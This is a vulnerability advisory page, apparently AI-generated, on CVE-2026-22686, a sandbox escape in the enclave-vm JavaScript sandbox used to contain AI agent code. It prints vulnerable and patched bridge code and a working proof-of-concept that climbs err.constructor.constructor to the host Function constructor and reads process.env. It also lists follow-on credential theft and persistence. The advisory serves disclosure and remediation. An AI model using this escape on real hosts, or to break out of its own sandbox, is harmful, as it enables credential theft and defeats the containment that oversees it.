CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22686

CVE-2026-22686: The 'Simpleton's Ladder' Sandbox Escape in Enclave VM

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·6 min read·132 visits

Executive Summary (TL;DR)

Host-side errors passed into the sandbox retained their prototype links to the Host Realm. Attackers trigger an error, catch it, and climb `error.constructor.constructor` to access the Host's `Function` constructor, granting full RCE (CVSS 10.0).

A critical sandbox escape vulnerability in `enclave-vm` allows untrusted AI agent code to break out of the JavaScript sandbox and execute arbitrary code on the host machine. By leveraging a cross-realm prototype leak in the error handling mechanism, attackers can traverse the prototype chain from a caught exception up to the host's `Function` constructor, effectively bypassing all security controls.

The Hook: Building a Prison with a Revolving Door

We live in the age of AI Agents. We give them tools, we give them goals, and because we aren't completely insane, we put them in a box. That box is enclave-vm, a popular JavaScript sandboxing library designed to let you run untrusted LLM-generated code without nuking your production database. Ideally, it's a digital Alcatraz.

But here's the thing about prisons: they are only as secure as the guards who pass food through the slot. In software terms, that slot is the Bridge—the mechanism that allows the sandboxed code to invoke specific, allowed tools on the host (like fetch or readFile).

CVE-2026-22686, affectionately dubbed the "Simpleton's Ladder," isn't a complex buffer overflow or a heap grooming masterpiece. It's a logic flaw in how the guards handle complaints. When the sandbox asks for a tool that doesn't exist, the Host yells "Error!" and hands that Error object directly to the inmate. The problem? That Error object is attached to a long, invisible rope leading right back to the warden's keys.

The Flaw: Cross-Realm Object Leaks

To understand this bug, you need to understand JavaScript Realms. A Realm is roughly equivalent to a global environment (window in browsers, global in Node.js). The Sandbox is one Realm; the Host is another. Security relies on total isolation between them.

In enclave-vm versions prior to 2.7.0, the developers made a classic mistake: Object Identity Retention. When the sandboxed code called a tool via callTool('bad_tool'), the Host runtime would throw a native JavaScript Error. Instead of serializing this error into a harmless string or a neutral object, the bridge passed the actual Host Error instance into the Sandbox.

Why is this fatal? Because in V8 (and most JS engines), objects carry a reference to their prototype. An Error object created in the Host Realm has a prototype chain that looks like this:

  1. errorInstance (In Sandbox, but references Host memory)
  2. errorInstance.constructor -> Error (Host Realm Class)
  3. Error.constructor -> Function (Host Realm Function Constructor)

By handing the inmate a Host Error object, the developers effectively handed them a pointer to the Host's memory context. The inmate just has to follow the chain home.

The Code: The Smoking Gun

Let's look at the vulnerable pattern. The bridge code was trying to be helpful, preserving the stack trace and error message for the developer. This helpfulness is what killed the security model.

Vulnerable Implementation (< 2.7.0):

// Host Side Bridge
async function handleToolCall(toolName, args) {
  try {
    const tool = tools[toolName];
    if (!tool) throw new Error(`Tool ${toolName} not found`); // <--- Host Error created here
    return await tool(args);
  } catch (err) {
    // FATAL FLAW: Passing the raw Error object back to the sandbox
    return sandbox.throw(err);
  }
}

Because err is passed by reference (proxied), the sandbox receives an object where err instanceof Error is true, but crucially, err.constructor is the Host's Error constructor.

Fixed Implementation (v2.7.0):

The fix involves "shredding" the object. You treat the error as toxic waste. You extract the data you need (message, name) and reconstruct a new error inside the sandbox, or serialize it to JSON and back.

// Fixed Host Side Bridge
async function handleToolCall(toolName, args) {
  try {
    // ... tool logic ...
  } catch (err) {
    // SAFE: Marshaling the error details only
    const safeErrorData = {
      message: err.message,
      name: err.name,
      stack: err.stack // Optional, maybe sanitize this too
    };
    // Re-create the error INSIDE the sandbox realm, breaking the link
    return sandbox.throw(new SandboxError(safeErrorData));
  }
}

The Exploit: Climbing the Simpleton's Ladder

The exploit is laughably simple, hence the name. We don't need shellcode. We just need to ask for a tool that doesn't exist, catch the inevitable error, and climb the prototype ladder to God Mode (the Function constructor).

The Function constructor is dangerous because new Function('return process')() executes code in the scope where the constructor was defined. Since we stole the Host's constructor, we execute in the Host's scope.

Here is the weaponized PoC:

// 1. Trigger the Host to throw an error by calling a fake tool
callTool('make_me_a_sandwich', {}).catch(err => {
    
    // 2. Access the Host's Error Constructor
    const hostErrorConstructor = err.constructor;
    
    // 3. Access the Host's Function Constructor (The "God Function")
    const hostFunction = hostErrorConstructor.constructor;
    
    // 4. Generate a payload to run on the Host
    //    This creates a function that returns the 'process' object
    const payload = hostFunction('return process.env');
    
    // 5. Execute
    const env = payload();
    console.log("STOLEN SECRETS:", env);
});

This bypasses ast-guard (static analysis) because purely looking at the AST, err.constructor.constructor just looks like property access. It doesn't look like eval() or require(), but it is functionally identical.

The Impact: Total Compromise

This is a CVSS 10.0 for a reason. It is the cybersecurity equivalent of a nuclear detonation inside your server room. If you are running enclave-vm to host third-party AI agents, plugins, or user scripts, you are effectively running them as root (or whatever user the Node process owns).

Impact Blast Radius:

  • Environment Exfiltration: Attackers can read process.env to steal AWS keys, database credentials, and API tokens.
  • Filesystem Access: Using the host's fs module (via process.mainModule.require('fs')), they can read source code, /etc/passwd, or write backdoors to disk.
  • Network Access: They can pivot into your internal network (SSRF on steroids) or exfiltrate data to a C2 server.
  • Persistence: They can modify the running application code to install persistent hooks that survive the sandbox teardown.

Because this is a logic flaw in the bridge, no amount of memory safety or ASLR will save you.

The Fix: Cutting the Rope

The mitigation strategy is simple: Trust No Object.

The patch in version 2.7.0 introduces a rigorous serialization boundary. Instead of passing objects, the bridge now effectively passes JSON strings (or structurally cloned data) which creates a "air gap" for references. When the data is reconstituted on the other side, it has a new prototype chain native to that realm.

Remediation Steps:

  1. Upgrade Immediately: Run npm install enclave-vm@latest. Version 2.7.0 is the minimum safe version.
  2. Audit Your Bridge: If you are using other sandboxing libraries (like vm2 or isolated-vm), check if you are passing complex objects or Errors back and forth. Always serialize primitive data types (string, number, boolean, null).
  3. Disable Prototype Access: If possible, run your Node.js process with --frozen-intrinsics or use tools that freeze Object.prototype to make prototype climbing harder (though this breaks many legit libraries).

Official Patches

agentfrontOfficial Security Advisory and Patch

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.15%
Top 65% most exploited

Affected Systems

enclave-vm < 2.7.0Node.js Host Runtime

Affected Versions Detail

Product
Affected Versions
Fixed Version
enclave-vm
agentfront
< 2.7.02.7.0
AttributeDetail
CVSS Score10.0 (Critical)
CWE IDCWE-94 & CWE-693
Attack VectorNetwork (Sandbox Escape)
ImpactRemote Code Execution (RCE)
Exploit StatusActive / Simple PoC
EPSS Score0.00147

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

Internal ResearchSimpleton's Ladder PoC using Error.constructor traversal

Vulnerability Timeline

Vulnerability discovered and fix committed privately
2026-01-09
CVE-2026-22686 assigned
2026-01-13
Public advisory and patch v2.7.0 released
2026-01-14
Active exploitation reported in wild
2026-01-15

References & Sources

  • [1]GHSA-7qm7-455j-5p63: Critical Sandbox Escape

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•4 minutes ago•CVE-2026-9705
6.5

CVE-2026-9705: Registration Access Token Authorization Bypass in Keycloak Dynamic Client Registration

CVE-2026-9705 is an insufficient session expiration and authorization bypass vulnerability in Keycloak and Red Hat build of Keycloak. The vulnerability occurs in the OAuth 2.0 Dynamic Client Registration Management Protocol implementation, where the authentication handler fails to verify whether a target client is enabled before accepting requests authenticated with a previously issued Registration Access Token (RAT). Consequently, an actor possessing a valid RAT for an administratively disabled client can query, update, and re-enable the client configuration, restoring revoked access to realm resources.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 1 hour ago•CVE-2026-9800
8.1

CVE-2026-9800: Authorization Bypass in Keycloak Policy Enforcer via Unnormalized URI Substring Matching

CVE-2026-9800 is an authorization bypass vulnerability affecting the Keycloak Policy Enforcer (org.keycloak:keycloak-policy-enforcer), which is integrated into Red Hat build of Keycloak, Red Hat build of Quarkus, Red Hat Single Sign-On 7, and Red Hat JBoss Enterprise Application Platform Expansion Pack. The flaw stems from improper comparison logic in the PolicyEnforcer.isDefaultAccessDeniedUri method, which uses loose substring matching on the full raw request URI rather than exact, normalized path comparisons against the configured access-denied landing page. Consequently, an authenticated attacker possessing any valid low-privileged token can bypass role-based, scope-based, and User-Managed Access (UMA) policy evaluations by embedding the access-denied path segment into the URL path or query parameters.

Amit Schendel
Amit Schendel
1 views•8 min read
•about 2 hours ago•CVE-2026-9799
4.6

CVE-2026-9799: Authorization Bypass via UMA Permission Ticket Wildcard in Keycloak

CVE-2026-9799 is an authorization bypass vulnerability in the User-Managed Access (UMA) subsystem of Keycloak (org.keycloak.authorization). When a resource server is configured with the non-default PERMISSIVE policy enforcement mode, an authenticated user holding a valid UMA permission ticket for a single typed resource can obtain an authorization Requesting Party Token (RPT) granting access to all resources of the same type across the resource server. By submitting an authorization request with the type selector prefix 'resource-type-any:<type>', the attacker bypasses instance-level owner approval checks for unshared peer resources that lack explicit static administrative policies.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-9083
4.9

CVE-2026-9083: Arbitrary Filesystem Path Probing in Keycloak Java Keystore Key Provider

CVE-2026-9083 is a path traversal and information disclosure vulnerability (CWE-22) affecting Keycloak and the Red Hat build of Keycloak. The vulnerability resides in the Java Keystore key provider component (JavaKeystoreKeyProviderFactory), which fails to restrict the user-supplied keystore file path to a designated directory. An authenticated realm administrator holding the 'manage-realm' role can supply arbitrary absolute or relative filesystem paths when configuring a key provider. Because the application returns distinct error messages depending on whether the target path does not exist, lacks read permissions, or fails keystore parsing, an attacker can use this component as an oracle to probe the underlying host filesystem.

Alon Barad
Alon Barad
4 views•11 min read
•about 4 hours ago•CVE-2026-9086
7.3

CVE-2026-9086: Stored Cross-Site Scripting via Case-Sensitive URI Scheme Validation Bypass in Keycloak

CVE-2026-9086 is a stored Cross-Site Scripting (XSS) vulnerability in Keycloak and the Red Hat build of Keycloak. The vulnerability stems from a case-sensitive URI scheme validation check in DefaultClientValidationProvider, allowing attackers with client registration or management permissions to inject javascript: or data: URIs using mixed-case characters.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-62290
7.3

CVE-2026-62290: ClusterIssuer DNS01 Solver Policy Bypass and Credential Exfiltration in cert-manager

CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.

Amit Schendel
Amit Schendel
7 views•9 min read